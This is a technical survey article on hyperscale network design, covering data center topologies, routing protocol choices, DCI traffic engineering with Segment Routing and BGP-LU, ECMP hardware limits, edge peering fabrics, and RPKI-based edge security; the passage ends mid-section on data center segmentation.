DISCLAIMER: All information in this article is acquired from public resources. Due to the constant change in architecture at pretty much any hyperscaler, it is expected that some of the data in this document is not reflecting the current state at any mentioned network operator anymore as of June-2021. As an examples here is the evolution of Google’s network components and projects as it is outlined:
* 2006 - B2
* 2008 - Watchover, Freedome
* 2010 - Onix, BwE
* 2011 - B4
* 2012 - Open Optical Line System, Jupiter
* 2014 - OpenConfig, Andromeda
* 2017 - BBR
* 2018 - Espresso
* 2019 - Private Sub-sea Cables
[Source](https://youtu.be/ef7KXVrQ_-Y?t=618)
Places in Network: Data Center
------------------------------
The design space for large, multipath datacenter networks is large and complex, and no design fits all purposes. Network architects must trade off many criteria to design cost effective, reliable, and maintainable networks. Let’s take a look on a common approach taken by several large scale network operators and see what can be easily adopted.
#### Topology
Clos - in the field for quite some time, now in hyper scale DCs, but comes from TDM-networks with classic phone services. Other topologies like: Xpander, FatClique, Jellyfish, Dragonfly are reported as a subject for different research efforts and even have some advantages over CLOS, but do not really seem to be widely deployed. In CLOS, the size of a cluster is limited by the port density of the cluster switch. Evolutionary transition to the next interface speed do not come at the same XXL densities as quick, so inter-cluster connectivity is oversubscribed, with much less bandwidth available between the clusters than within them.
https://engineering.fb.com/production-engineering/introducing-data-center-fabric-the-next-generation-facebook-data-center-network/https://yandex.ru/efir?stream\_id=4b30d44ee6e43f74aa5523e032273e10https://blog.twitter.com/engineering/en\_us/topics/infrastructure/2017/the-infrastructure-behind-twitter-scale.htmlhttps://pc.nanog.org/static/published/meetings/NANOG76/1996/20190610\_Gashinsky\_Demystifying\_Datacenter\_Clos\_v1.pdfBased on the examples, it seems like Clos is used by at least a few hyperscalers, but what about alternatives and why Clos? To truly explore alternative topologies, the reader is invited to evaluate topologies with Condor framework: <https://research.google/pubs/pub43839/> in addition to take a look at a paper explaining the lifecycle and management complexity of DC topologies: <https://par.nsf.gov/servlets/purl/10095405>
Efficient topologies do exist at small scales. Both RRG and DRing provide significant improvements over leaf-spine for many scenarios. There are flat networks (beyond expander graphs) such as DRing that are worth considering for small- and moderate scale DCs. These topologies might not be good at large scale but can be efficient for small scale. Some detail of running spineless DC [are described in this document](https://dl.acm.org/doi/pdf/10.1145/3422604.3425945).
To summarise the paper, how does deployment complexity look like for each topology type? Packing switches into and interconnect within the rack and inter rack is complex. Inter-rack links are the main contributor to the complexity. Switch form factor and expansion capacity due to the fact that it is hard to move the cable bundles rewiring links on a patch panel - Jellyfish is better. While Clos is apparently better from the perspective of cable bundle types in capacity and length, patch panels. Hence, in this case Jellyfish is better.
Routing complexity due to irregularities of a topology also factoring in and Jellyfish is a random graph and highly irregular. Intra-rack links are cheap, Jellyfish does not have this property - more patch panel usage, hence it is complex.
Jellyfish has an advantage during the expansion as it is required to maintain at least 75% of the capacity and it is usually over-provisioned.
https://www.usenix.org/sites/default/files/conference/protected-files/nsdi19\_slides\_zhang\_mingyang.pdfAll in all - the complexity of the following remains an open topic
* Control plane
* Network Debuggability
* Practical routing (FatClique requires non-shortest path routing)
* Network latency
* Blast Radius in case of failure
#### Routing Protocol
Since the initial publication of RFC7938, BGP has been the default option for large data center fabrics and is de-facto the standard. It leverages the performance and scalability of a distributed control plane for convergence, while offering tight and granular routing propagation management.
There is an argument that with a proper design, scale is not the reason to use BGP over OSPF.
If you are running a small Clos network and don’t have IPv6 or EVPN, OSPF might work for you as more straightforward and generally faster, as was the common practice before the advent of BGP in the data center. No matter what, you need to understand the choices that you are making and understand the tradeoffs.
If an IGP is used, it is presumed that IGP flooding is taken care of. But how can it be done?
The rise of Cloud computing has changed the architecture, design and scaling requirements of IP and MPLS networks - from flat, partial mesh topologies to hierarchical CLOS networks.
As we mentioned earlier - IGP scaling limitations led to BGP adoption as de facto protocol, some famous citations:
* John Moy OSPF Scaling Recommendations:
+ 50 routers per area
* Dave Katz – in “IS-IS OSPF Comparative Anatomy”: <https://www.youtube.com/watch?v=qbNW-cndt70&ab_channel=TeamNANOG>
+ ”Don’t put zillions of routes in your IGP”
* IGP scaling limitations and comparison to BGP as a routing protocol adoption in massive scale DC: <http://www.columbia.edu/~ta2510/pubs/hotnets2019bgpPerformance.pdf>
In other words, in a dense topology, the flooding algorithm that is the heart of conventional link state routing protocols causes a great deal of redundant messaging. This is exacerbated by scale. While the protocol can survive this combination, the redundant messaging is unnecessary overhead and delays convergence. Thus, the problem is to provide routing in dense, scalable topologies with rapid convergence. Unnecessary, redundant flooding is the biggest scale inhibitor in IGPs. However, BGP loss of topology detail reduces the value of IGP-based forwarding mechanisms (ie LFA).
BGP adoption in hyperscaling DC is expanding by way of BGP app development for policy control via tooling, i.e. BIRD, Quagga, GoBGP. Besides, BGP could be simply configured by templates if automated and scripted. BGP scale is known and usage in a symmetric topology makes it almost trivial. ECMP Leaf-Spine design reduces convergence wavefront to Clos stage diameter. However, BGP can’t really be used as an IGP in an arbitrary topology without an almost impossible amount of configuration, it’s un-scriptable with irregular topologies.
#### Alternatives to BGP
RIFT is described in <https://datatracker.ietf.org/doc/draft-przygienda-rift/> and pushed on IETF, at NANOG and other meetings. The main idea of RIFT is to distribute link state information South-North direction, but do only distance vector distribution North-South direction. It uses BGP with modification and hacks RFC7938:
* AS Numbering hacks
* EBGP everywhere
* ADD\_PATH
* Timer hacks
* 4byte ASN
* Allow\_AS
RIFT merges all the benefits of BGP as well as that of IGP (distance vector and link state), doing auto-discovery and assisting in config management. At this point it’s very hard to predict what would be the scalability of RIFT since it’s such a new protocol, but presumably it’s high. Just recently this book was published explaining some aspects of RIFT: <https://www.juniper.net/documentation/en_US/day-one-books/DO_RIFT.pdf>
BGP in the DC is valid and right now there’s no better production-ready alternative. That said, no solution is perfect. The industry as a whole has embarked on a search for better alternatives.
We can certainly expect that existing Leaf-Spine DC deployments to continue with BGP indefinitely. At the same time, we are trying to evolve technology and modify the link state IGPs so that we can provide a better alternative in the future.
LSVR and OpenFabric can leverage ISIS (link state) protocols to route in the underlay. Link state protocols give us topology information and enable functions such as traffic engineering which are simply not possible with BGP. LSVR tries to preserve that link state capability but leverages BGP route reflectors as a replacement for fixing the flooding issues.
At last, if you are running your networking gear under the management of OS which opens opportunities for installing any routing agent and integrating it with dataplane via SDK. There are a number of operators using this approach, some public examples:
* FB OpenR: <https://code.fb.com/connectivity/open-r-open-routing-for-modern-networks/>
* Qrator-ExaBGP: <https://www.arista.com/assets/data/pdf/CaseStudies/Qrator_CaseStudy.pdf>
Another approach is to remove routing protocol at all, as it’s done in ONF Trellis, classic-SDN Control with ONOS to directly program ASIC forwarding tables in bare metal switches with merchant silicon. Trellis is currently deployed in production networks by at least one Tier-1 operator.
The topic is complex and it would be advised to research it and make the decision based on the particular use case. But if you still undecided - BGP and ISIS are 30 years old and have been used in alot of use cases. So why not use them?
If the goal is to fix the Link State info distribution - let’s just fix LS protocols, so they can flood better. IS-IS spine leafs extension <https://tools.ietf.org/html/draft-shen-isis-spine-leaf-ext-06> allows the spine nodes to have all the topology and routing information, while keeping the leaf nodes free of topology information other than the default gateway routing information. Leaf nodes do not even need to run a Shortest Path First (SPF) calculation since they have no topology information. More about advantages of IS-IS will be discussed later in this document.
Another key to enabling the solution is the additional scalability in the IGP. Specifically:
* Reduce the IGP flooding by an order of magnitude - flood on a small subset of the full data center, elect an area leader which computes the flooding topology for the area, distribute flooding topology as part of link state database
* Improve the abstraction capability of IS-IS, so that areas are more opaque, improving overall scalability. This flooding topology is encoded into and distributed as part of the normal link state database. Nodes within the dense topology would only flood on the flooding topology. On links outside of the normal flooding topology, normal database synchronization mechanisms (i.e., OSPF database exchange, IS-IS CSNPs) would apply, but flooding would not
* Increase IS-IS abstraction levels from two levels to eight. PDU/Hello Header has reserved bits for 6 more levels of abstraction – allowing tremendous scalability
The details are described in [draft-ietf-lsr-dynamic-flooding](https://datatracker.ietf.org/doc/draft-ietf-lsr-dynamic-flooding/) & [draft-li-lsr-isis-area-proxy](https://tools.ietf.org/html/draft-li-lsr-isis-area-proxy-03).
#### Supernode
Naturally, the latest advances in IGP lead to some interesting concepts such as Supernode.
In this paper Google discusses it’s approach in building supernodes for their B4 network: <https://www2.cs.duke.edu/courses/fall18/compsci514/readings/b4after-sigcomm18.pdf>
Routing “Supernodes” built of leaf/spine switches. The key is to make scaling “inside” the supernode to have minimal impact on total network scaling. The benefit extends beyond avoiding multichassis system design – complete asset fungibility and best of breed “line card” selection with rolling upgradeability.
To put it in two sentences supernode is a two-layer topology abstraction: at the bottom layer, we introduce a “supernode” fabric, a standard two-layer Clos network built from merchant silicon switch chips. At the top layer, we loosely connect multiple supernodes into a full mesh topology.
#### IPv6
How many of us said before “we will never run out of 10/8 network”? Save yourself time dealing with DHCP and ARP issues by making a step forward and not a step sideways - switch to IPv6 underlay infra from the start.
Multitenancy is usually a requirement, i.e. virtualisation or segmentation of the network. There is no requirement to do that on the level of network fabric as it is a task for hosts. This approach simplifies the goal of scalability. Thanks to IPv6 and the huge address space, there is no need to use duplicate addresses in the internal infra - each address is unique.
Filtering and segmentation is done on the hosts, so there is no need to create virtual networking entities in the DC network. How to do this: /24 v4 and /64 v6 per ToR. Why /64? - for routing table scalability and ECMPv6.
RFC5549 for v4 over v6: advertising IPv4 unicast NLRI with IPv6 next-hops over IPv6 peering sessions, supported for IPv4 unicast, IPv4 Labeled Unicast, and IPv4 VPN address and sub-address families (1/1, 1/4, 1/128 respectively).
#### Getting lightweight
It is very important to get rid of anything which is not needed in the network. This makes life easier and significantly expands the choice of networking equipment vendors. If the stack of applications is controlled and can scale horizontally, this usually implies that there is a service discovery and machine monitoring in a given cluster. This means if one machine is down, the replacement does not have to start with the same ip-address. As a consequence - L2 is not needed, not real, nor emulated.
There is also no such concept as IP-address migration, which is usually required for VM mobility. If this is a requirement - it can be supported without network infra change, but rather via overlay networks. This way there are not that many dynamic changes in routing tables for underlay.
#### Multicast in DC fabric
Another thing to consider is a multicast fit in DC Leaf-Spine fabric. Traditional DC fabric chips, such as Tomahawk3 are specifically built to fit the purpose of a traditional DC functionality, hence we get a very attractive pricing, port capacity and density. Which makes vendors to prioritise the supported features and scale, making some of the functionality seaminly not suited for the scope of a given box. Such example on TH3 128x100G de-facto standard for a modern DC, not suitable for ST2110 or ST2022-6 heavy duty multicast use cases.
The limitations should be specified by every individual vendor, but things worth to consider are - the scale of outgoing interface set per (S,G) which puts the limit on how many possible replication scenarios can be described with the growth of the number of the leafs. Another thing is the multicast throughput and L2/L3 multicast tables. All in all, it would be wise to consider and consult with an SE from your favorite vendor about the correct choice of the chip. Please don’t try to put all possible functionality on a purpose build system and complain later about the performance.
#### Multitenancy
Sometimes there is a need to provision VPN services within a DC. Also there are needs to keep different data on diverse paths for end to end service provisioning. For such purposes EVPN VXLAN and EVPN MPLS come into place. The complexity appears to be lying within there is a requirement to provide a handoff between tradicional inter DC MPLS VPN and VXLAN environments within a DC. Inter DC VPN defined in RFC4364 Section10: VRF-to-VRF connections at the ASBR, EBGP redistribution of VPN-IPv4 routes from AS to AS, Multi-hop EBGP VPNv4 peers (RRs). EVPN VXLAN to MPLS handoff is possible by either L3 EVPN VXLAN to L3 EVPN MPLS or L3 EVPN VXLAN to RFC4364 VPN MPLS.
When the conversation turns to VXLAN it’s important to consider if you are expecting to have a support for features like: suppressing flooding of unknown unicast packets, the ability to limit the broadcast to ARP and storm control within VXLAN L2 domain on ingress VTEP. Check out this post on VXLAN security considerations: <https://eos.arista.com/vxlan-security/>
#### Cost
A big chunk of the cost is interconnect, in order to minimise it - optimise the distance b/w the networking components by designing the racks and cable management. Result - switch between SR optics to DAC 3 meters cables.
#### Automation
Is simply a must, managing this amount of devices and interconnections manually is not physically possible.
#### Challenges
By itself building a redundant network is expensive, but expenses are reduced by redundancy in case of a component failure, so the cost is not a main argument against Clos for large scale deployments.
#### How to ingest traffic into a CLOS topology?
Three major approaches are seen across the industry:
1. Data center routers connected directly to the top of the Fabric. This works good on small and medium scale but requires connections to all top nodes in the top layer of Fabric. As this approach is pretty old, this implied a challenge due to the cost of a port of feature reach Data Center Edge router. Today this is not really a problem with second and third generations of merchant silicon such as Broadcom’s Jericho2 and Jericho2C
2. Second approach - connect to CLOS from the bottom via Edge POD. This approach gives some advantage due to the nature of the CLOS itself - traffic is distributed across all Fabric layers in just two steps
3. Some extremely large network operators went even further and build a distributed topology interconnecting multiple datacenters in a given region
Each Fabric Aggregator node implements a 2-layer cross-connect architecture. Each layer serves a different purpose:
* The downstream layer is responsible for switching regional traffic (fabric to fabric inside the same region, designated as east/west).
* The upstream layer is responsible for switching traffic to and from other regions (north/south direction). The main purpose of this layer is to compress the interconnects with Facebook’s [backbone](https://engineering.fb.com/posts/1782709872057497/building-express-backbone-facebook-s-new-long-haul-network/) network.
https://engineering.fb.com/data-center-engineering/fabric-aggregator-a-flexible-solution-to-our-traffic-demand/https://engineering.fb.com/data-center-engineering/f16-minipack/The downstream and upstream layers can contain a quasi-arbitrary number of downstream sub-switches and upstream sub switches. Separating the solution into two distinct layers allows the East-West and North-South capacities to grow independently by adding more sub switches as traffic demands change. Fabric edge PODs are replaced with the direct connectivity between fabric Spine switches and HGRID. This flattens out the regional network for E-W traffic and scales the uplink bandwidth.
### Places in Network: Data Center Interconnect
Traditional WANs designed as sparse, uniplanar, polygonal lattices. This is dictated by the cost of long-haul links, router ports, and concerns about IGP scale. Routers vertically scaled, allow for single control and management point. RSVP-TE scaling concerns are also there due to soft, dense midpoint state and O(n2) tunnel scale. Overall the same design pattern in use for 20+ years.
Private WANs are increasingly important to the operation of enterprises, telecoms, and cloud providers. In some cases, private WANs are larger and growing faster than connectivity to the public Internet. DCI/WAN network have common characteristics:
* massive bandwidth requirements deployed to a modest number of sites,
* elastic traffic demand that seeks to maximize average bandwidth
* full control over the edge servers and network, which enables rate limiting and demand measurement at the edge
Many existing production traffic engineering solutions use MPLS-TE - MPLS for the data plane, OSFP/IS-IS/iBGP to distribute the state and RSVP-TE to establish the paths. Since each site independently establishes paths with no central coordination, in practice, the resulting traffic distribution is both suboptimal and non-deterministic. Full-mesh operational complexity and non-ECMP nature of a circuit does not play in favour of RSVP-TE either.
Alternative solutions for TE is OpenFlow, but the fear is that besides others, it would take way too much time for the centralized control-plane to send updates to the switches and have them installed in HW.
What do we see being reported as a technology stack used in the field by hyperscalers? It appears this works in production for some time one, let's see how this evolves. The thing to improve - minimize state change in the network, get read of RSVP-TE and LDP. Introduce automatic local repair with LFA, focus on Segment Routing. Run some form of IGP for setting up connectivity. Utilise BGP-LU, Defined in IETF’s RFC 3107 and described with examples in (<https://eos.arista.com/carrying-label-information-in-bgp-4/>) for traffic steering and BGP-LS with SR extension to feed Bandwidth aggregators about topology information. Cool SR based stuff integration in the future such as BGP peering SID for Egress TE: <https://tools.ietf.org/html/draft-ietf-idr-bgpls-segment-routing-epe-19>
https://www.microsoft.com/en-us/research/wp-content/uploads/2017/01/swan-msrc-jul2013.pdfhttps://engineering.fb.com/networking-traffic/building-express-backbone-facebook-s-new-long-haul-network/The way people do routing is with at least two layer route hierarchy: traffic steering routes - identify the flows for engineering - plane BGP unicast routes. Those resolve to host addresses /32 and /128 from the reserved block which is not routed. Tunnel routes - resolve host addresses, programmed via BGP-LU. The assumption behind such design is that there will be many more traffic steering routes than tunnel routes and tunnel routes will change much more often than steering routes. Traffic steering is achieved by changing a few BGP-LU routes and TE evaluation happens on a regular cadence.
Traffic with a particular destination is routed via static routing entry which points that traffic to a Next Hop Group. Based on the traffic class packet is encapsulated in MPLS, assigned label and set a next-hop ip-address resolvable via a specific interface directly connected to the node or to the next-hop device on a multi-hop path to the ultimate switch on the path. For a direct path label Null0 is used. For a TE path the Segment routing approach is used - stack of label is utilised along the whole path with consecutive PUSH, SWAP and POP actions accordingly.
Depending on links utilisation different number of port-channels could be utilised between sites, a specific label will always correspond to a specific interface.
#### Pieces and parts of TE solution
TE controller - essentially a customized BGP Route reflector which speaks BGP-LU. It programs weighted paths using BGP multipath and Link bandwidth extended community. Performs tunnel OAM - we need to know when the tunnel goes down, this is required as local repair can fail and we can’t wait for the next TE refresh cycle. Prob packets are sent down the tunnel path, if the tunnel is down - the BGP-LU route is withdrawn. If all the tunnels for a given set of steering routes are down - withdraw the steering route and fall back to IGP shortest path.
Topology service speaks BGP-LS to the switches, reports labels, topology and bandwidth changes to the TE controller. Flow collector - pulling Sflow data, prefix map generator - identifies which traffic to steer, bandwidth broker - adjusts dynamic admission control.
#### Common challenges
Distributed control planes for TE leads to uncoordinated efforts and bursty nature of the traffic leads to inefficient usage of high cost WAN links. Sophisticated Centralised control plane for TE with granular policies may expose some limitations on how many labels can be pushed and successfully hashed on a node to do link bundling as for example. To fix this, some optimisation in path computation is required - compressing adjacency-SIDs where the shortest path would take us where we wanna go.
There is a BGP SR TE policy draft - a new BGP SAFI with a new NLRI in order to advertise a candidate path of a SR Policy. RFC8491 Signaling Maximum SID Depth (MSD) Using IS-IS - a way for an IS-IS router to advertise multiple types of supported Maximum SID Depths at nodes and link granularity. It allows controllers to determine whether a particular Segment ID stack can be supported in a given network. Important to remember is that the entropy labeling comes in pairs - Entropy Label and Entropy Label Indicator, which is effectively two additional labels. An ingress Label Switching Router (LSR) cannot insert ELs for packets going into a given Label Switched Path (LSP) unless an egress LSR has indicated via signaling that it has the capability to process ELs.
In addition, it would be useful for ingress LSRs to know each LSR's capability for reading the maximum label stack depth and performing EL-based load-balancing. Draft-ietf-isis-mpls-elc-11 addresses this by defining a mechanism to signal these capabilities in ISIS.
RSVP-TE and SR-TE coexistence might be a challenge to solve during the transition to SR.
#### ECMP and HW limitations
One aspect which makes the DCI network more expensive per port is the cost of the long-haul links. Obviously it is important to utilise the available bandwidth at full, hence the ECMP or even UCMP approach is preferred across all available paths. In order to accommodate the complexity of SR based approach, some level of in-directional resolution of paths is required. Hence there are some aspects of HW limitations which must be considered.
#### LFA and FRR in ECMP
Equal-cost paths are installed in routing and forwarding tables as ECMP entries. They might be implemented as independent forwarding entries, or as a single Forwarding entry pointing to a Next Hop Group. Once a link to a next hop fails, the corresponding entry is removed from the routing and forwarding table or the next-hop group is adjusted. If you have LFA or Fast Reroute in place, the failed next hop could be replaced with another next hop without involving a routing protocol. Without LFA or Fast Reroute, you just have fewer equal-cost next hops.
IP FRR relies on pre-computed backup next-hop that is loop-free which could be ECMP and is a control plane function, it could take into consideration some additional data - SRLGs, interface load, etc.
ECMP NHG autosize is a forwarding construct, where the NHG is an array of entries. If one of them becomes unavailable, in case of an interface down event, it is simply removed from the array and the hashing is updated. Without support of such a construct, HW would be programmed with a Drop entry for a missing NHG entry. Important part of this is the ability to shrink the NHG with an Inplace Adjacency Replace - virtually hitless update, cause of the fact that some traffic will be lost inflight on the interface which went down.
In order to continue to resiliently forward traffic via a ECMP, it’s crucial that load balancing is not impacted significantly, so that some of the remaining NHGs could be oversubscribed and others - underutilized. Details of this is described [in the following article](https://eos.arista.com/resilient-load-sharing-using-nexthop-groups/).
#### HFEC
Hierarchical Forwarding Equivalence Class (HFEC) changes a FEC from a single flat level to a multi-level FEC resolution. Two level HFEC could be supported depending on the chip:
* 1st level FEC points to tunnel next hops
* 2nd level FEC points to direct next hops for each of the tunnel’s next hops.
HFEC has below benefits:
1. Supports larger ECMP since only the 1st level tunnel FEC is exposed to RIB, the 2nd level interface FEC is hidden to RIB.
2. Achieves faster convergence since tunnel FEC and interface FEC at each level can be independently updated.
Tunnel Types could be an MPLS tunnel, which can be signaled by IS-IS Segment Routing, BGP-SR, BGP-LU, Ethernet VPN (EVPN), MPLS VPN, MPLS LDP; or just an IPv4 and IPv6.
Hierarchical FEC gives a good level of flexibility in configuring next-hop resolution and patch computation with contracts like Policy Based Routing (PBR). As for example it is possible to support complicated use cases where ECMP size exceeds HW limitations. In such case HFEC could be used to create another level of in-direction between a Prefix, an equivalent FEC which is pointed to a set of FECs, each containing a lower number of NH entries.
But one has to be careful with creating such constructs because even if it provides workarounds for HW limitations as specified above, there are still cases where it simply not possible to go around it. E.g. consider a use case where a prefix would be advertised from multiple nodes in a site to a remote node. The expectation is that the remote node receiving the prefix would PBR traffic based on the DSCP. The remote node by default will have a static route pointing to the NHG for BGP nexthop of all advertising nodes. The problem is that PBR can match on top-level FEC. So, for non-ECMP cases, the top level FEC is NHG FEC. In case of ECMP, the NHG are second level FEC's and PBR cannot match on this. The options are to either break the ECMP, i.e use only 1 NHG, or create a separate NHG which has the contents of the other two. Not great, not terrible.
#### UCMP
UCMP is another construct which is highly utilized in DC, which is allowing to set BGP extcommunity lbw. Multiple things would be worth sharing: the maximum set size for the UCMP next-hop could be set, an optional % deviation constraint from the optimal traffic load sharing ratio for every next-hop in the UCMP. It means the amount of error we are willing to tolerate for the computed weight of some nexthop wrt it's optimal weight.
The most important part which has to be kept in mind while UCMP is being utilised is the total number of ECMP entries consumed due to the structure of advertisements. Therefore it is highly advised to perform approximation of the amount of required FECs when sets of prefixes are being advertised. The advertised link-bandwidth is capped by the physical link speed if we regenerated the link-bandwidth. If we are merely passing along the received link-bandwidth to a peer, or if we set the link-bandwidth explicitly in an outbound route-map, then we do not do any capping. In that case the switch will accept link-bandwidth values greater than the inbound link speed.
Details and use cases are described in <https://tools.ietf.org/html/draft-ietf-idr-link-bandwidth-07>
#### DCI optics
The rapid growth of cloud computing is driving the upgrade cycle from 100G to 400G transmission in DCIs, and spurring the demand for innovative optical line systems that are more compact, power-efficient, and easier to install, configure, and operate. One of the important topics of the recent year is the arrival of 400G-ZR and OSFP-LS optics with DP-16QAM modulation replacement for proprietary DWDM transponders which can cover the distance of up to 120km with the same port density in a switch as with OSFP/QSFP-DD optics or traditional 10/40/100Gbps interfaces. Consists of 4 connectors: 2xLC 120km DCI line + 2xSC for client connection and contains Erbium Doped Fiber Amplifiers.
Multiplex 8x400G-ZR modules using fiber based Mux/Demux provide 3.2Tbps of DCI bandwidth over a single fiber pair. There is no need to match a specific port to a specific lambda. Which significantly eases the connections - connect any port of the fiber mux to a 400G-ZR module, and set the wavelength channel through the switch OS.
Places in Network: Edge
-----------------------
Large content providers build points of presence around the world, each connected to tens or hundreds of networks. A company serves its dynamic content, e.g. HTML and JSON, from its data centers, while utilizing CDNs for serving the static assets such as CSS, JS, images etc.
The tier of infrastructure closest to users - PoPs (Point of Presence) used to improve the download time of the dynamic content.
PoPs are small scale data centers with mostly network equipment and proxy servers; that act as end-points for user's TCP connection requests. PoP would establish and hold that connection while fetching the user-requested content from the data center. POPs are where we connect a network to the rest of the internet via peering.
Traffic management systems direct user requests to an edge node that provides the best experience. How does POP selection mechanism work? It’s based on DNS. Third parties are used as authoritative name servers for a given site address. These providers let configure their name servers to give different DNS answers based on the user's geographic location.
Given this ability and the expanding PoP footprint, the obvious next question is - how do we make sure that users are connecting to the optimal PoP? This could be decided based on:
* Geographic distance: But geographical proximity does not guarantee network proximity.
* Network connectivity: the Internet is constantly changing and we would have never kept up with it by using a manual approach like this.
* Synthetic measurements: Some companies have a set of monitoring agents distributed across the world that can test your website. But agent geographic and network distribution may not represent the user base. Agents usually have very good connectivity to the internet backbone, which may not be representative of our user base.
Another approach is Real User Monitoring, it consists of JavaScript code e.g. [boomerang library](https://github.com/lognormal/boomerang/), that runs on the browser when the page is loaded and collects performance data. It does so mostly by reading the [Navigation Timing API](http://www.w3.org/TR/navigation-timing/) object exposed by the browsers and sends the performance data to beacon servers after page load.
To identify the optimal PoP per geography - knowing the latency from users to all the PoPs is necessary. This is done by downloading a tiny object from each PoP after the page is loaded and measuring the duration to download the object. By aggregating this data the recommendation of optimal PoP per geography could be made. Once it’s done, configure DNS providers to change PoP per geography.
#### Edge Fabrics
Large content providers built Edge Fabrics, a Traffic Engineering based system consisting of dozens of PoPs. In a nutshell Edge Fabric receives BGP routes from peering routers, monitors capacities and the demand for outgoing traffic, and determines how to assign traffic to routes. Edge Fabric enacts its route selections by injecting them by means of BGP into the peering routers, overriding the router’s normal BGP selection.
#### Topology
A PoP serves users from racks of servers, which connect via intermediate aggregation switches to multiple peering routers. BGP sessions are maintained between the components of the edge fabric including rack switches. Each PoP includes multiple peering routers (PRs) which exchange BGP routes and traffic with multiple other AS.
https://www.cs.princeton.edu/courses/archive/fall17/cos561/papers/espresso17.pdfhttps://research.fb.com/wp-content/uploads/2017/08/sigcomm17-final177-2billion.pdf#### Peering
Transit providers provide routes to all prefixes via a private network interconnect (PNI) with dedicated capacity just for traffic between the Edge Fabric and the provider. Peers provide routes to the peer’s prefixes and to prefixes in its customer cone. Private peers are connected via a dedicated PNI. Public peers connections traverse the shared fabric of an Internet exchange point (IXP). Route server peers advertise peers routes indirectly via a route server and exchange traffic across the IXP fabric.
Following is the example of how Facebook describes it in the paper <https://research.fb.com/wp-content/uploads/2017/08/sigcomm17-final177-2billion.pdf>. A PoP may maintain multiple BGP peering sessions with the same AS (e.g., a private peering and a public peering, or at multiple PRs). Only a single PoP announces each most-specific Facebook prefix, and so the PoP at which traffic ingresses into Facebook ‘s network depends only on the destination IP address. In general, a flow only egress at the PoP that the flow enters at, Isolating traffic within a PoP reduces backbone utilization and simplifies routing decisions.
PRs prefer peer routes to transit routes (via local\_pref), with AS path length as a tiebreaker. When paths remain tied, PRs prefer paths from the following sources in order: private peers over public peers over route servers.
Peer type is encoded in MEDs while stripping MEDs set by the peer, which normally express the peer’s preference of peering points, but are irrelevant given that Facebook egresses a flow at the PoP where it ingresses. BGP at PRs and ASWs using BGP multipath. When a PR or an ASW has multiple equivalent BGP best paths for the same destination prefix, as determined by the BGP best path selection algorithm, it distributes traffic across the equivalent routes using ECMP.
#### Capacity awareness
Ideally, this connectivity lets providers better serve users, but providers cannot obtain enough capacity on some preferred peering paths to handle peak traffic demands. Main challenges are that by default: BGP is not capacity-aware. Interconnections and paths have limited capacity. Performance measurements of a large content provider network show that it is unable to obtain enough capacity at many interconnections to route all traffic along the paths preferred by its BGP policy. And BGP is not performance-aware. AS path length and multi-exit discriminators (MEDs), do not always correlate with performance.
To tackle these challenges routing decisions must be aware of capacity, utilization, and demand. Decisions should also consider performance information and changes, while simultaneously respecting policies. To accomodate this a pretty sophisticated solution, some sort of Predictor-Corrector is used consisting of BMP Collector - gets all available routes per prefix; the Sflow collector - gets traffic samples and calculates average traffic rate; the Allocator - retrieves list of interfaces, projects the utilisation and assigns the load as granular as per prefix load.
Because the controller is stateless and uses projected interface utilization instead of actual utilization, a shadow controller inside a sandbox that can query for the same network state as the live controller. This enables a mechanism of verification on a controller and identifies misprojections in interface utilization.
The described solution helps with destination-based routing, but what should be done with prioritization of the traffic based on the content, in other words - prioritise specific flows? Servers set the DSCP field in the IP packets of selected flows to one of a set of predefined values. The controller injects routes into the alternate routing tables per each DSCP value at PRs to control how marked flows are routed.
#### Measuring Performance
End-user TCP connections terminate at front-end servers at the edge of our network, which in turn proxy HTTP requests to backend servers. eBPF randomly selects a subset of connections and routes them via alternate path, by setting the DSCP field in all of the flow’s IP packets to a DSCP value reserved for alternate path measurements. This allows to collect measurements with existing infrastructure that logs the performance of client connections observed by the front-end servers
#### Alternative approach
Google’s Espresso Peering Fabric <https://www.cs.princeton.edu/courses/archive/fall17/cos561/papers/espresso17.pdf> does not run BGP locally and does not have the capacity to store an Internet-scale FIB. Instead it stores Internet-scale FIBs on the servers. Espresso directs ingress packet to the host using IP GRE where it applies ACLs. The hosts also encapsulate all outbound packets with a mapping to the PF’s output port.
Espresso uses IP-GRE and MPLS encapsulation, where IP-GRE targets the correct router and the MPLS label identifies the PF’s peering port. The PF simply decapsulates the IP-GRE header and forwards the packet to the correct next-hop according to its MPLS label after popping the label. An L3 aggregation network using standard BGP forwards the IP-GRE encapsulated packet from the host to the PF.
#### Comparison
Facebook's Edge Fabric has similar traffic engineering goals as Espresso, but has independent local and global optimization which relies on BGP to steer traffic. The key difference lies in Espresso’s use of commodity MPLS switches, in contrast with Edge Fabric that relies on peering routers with Internet-scale forwarding tables.
#### Security on the Edge
The fundamentals of securing any network apply to the edge as well. But the edge is a particular place where you would expect to see the implementation of such features as BGP origin validation (BGP-OV) to secure your system against DoS attacks. The combination of BGP-OV and the feasible path uRPF techniques is a strong defense against address spoofing and DDoS. For this to work, the target prefix owner should create a ROA for the prefix and all ASes on the path should be performing BGP-OV in addition to employing uRPF.
Currently, RPKI only provides origin validation. While BGPsec path validation is a desirable characteristic and standardised in <https://tools.ietf.org/html/rfc8205>, a real-world deployment may prove limited for the foreseeable future due to vendor support. So for now we stuck with ROA information retrieved from an RPKI cache server to mitigate the risk of prefix hijacks and some forms of route leaks in advertised routes. A BGP router would typically receive a list of prefix, maxlength, origin AS tuples derived from valid ROAs from RPKI cache servers. The router makes use of the list with the BGP-OV process to determine the validation state of an advertised route <https://tools.ietf.org/html/rfc6811>.
To dig deeper or refresh the knowledge base, [I suggest to watch this presentation](https://www.youtube.com/watch?v=5G7Ey3lYWiY&t=241s).
### Security within a Data Center
The term data center network security could be divided into groups: data center firewall (DCFW), data center intrusion prevention system (DCIPS) and the group which combines the capabilities of the DCFW and DCIPS and is referred to as a data center security gateway (DCSG).
Considerations for deployment include answering the following questions:
* What server operating systems and applications are to be protected?
* What are peak performance requirements?
* Can the security product be bypassed using common evasion techniques?
* How reliable and stable is the device?
Applications deployed in the data centers have become multi-tiered and distributed. This has resulted in an increase in the amount of east-west traffic seen in the data centers. This includes traffic from physical-to-physical, virtual-to-virtual, and between physical and virtual workload.
Legacy security architecture consists of perimeter firewalls, that primarily enforce security for north-south traffic. As the applications within the datacenter become increasingly distributed, it results in a rise in the number of workloads both physical and virtual deployed in the datacenter which in turn present many new possible entry points for security breaches.
Micro-segmentation solves part of the problem by providing security for east-west flows between virtual workloads. In comparison Macro-Segmentation Service (MSS) addresses the remaining gap in security deployment models by securing the east-west traffic between physical-to-physical and physical-to-virtual workloads. Following are just a few examples of the integration options:
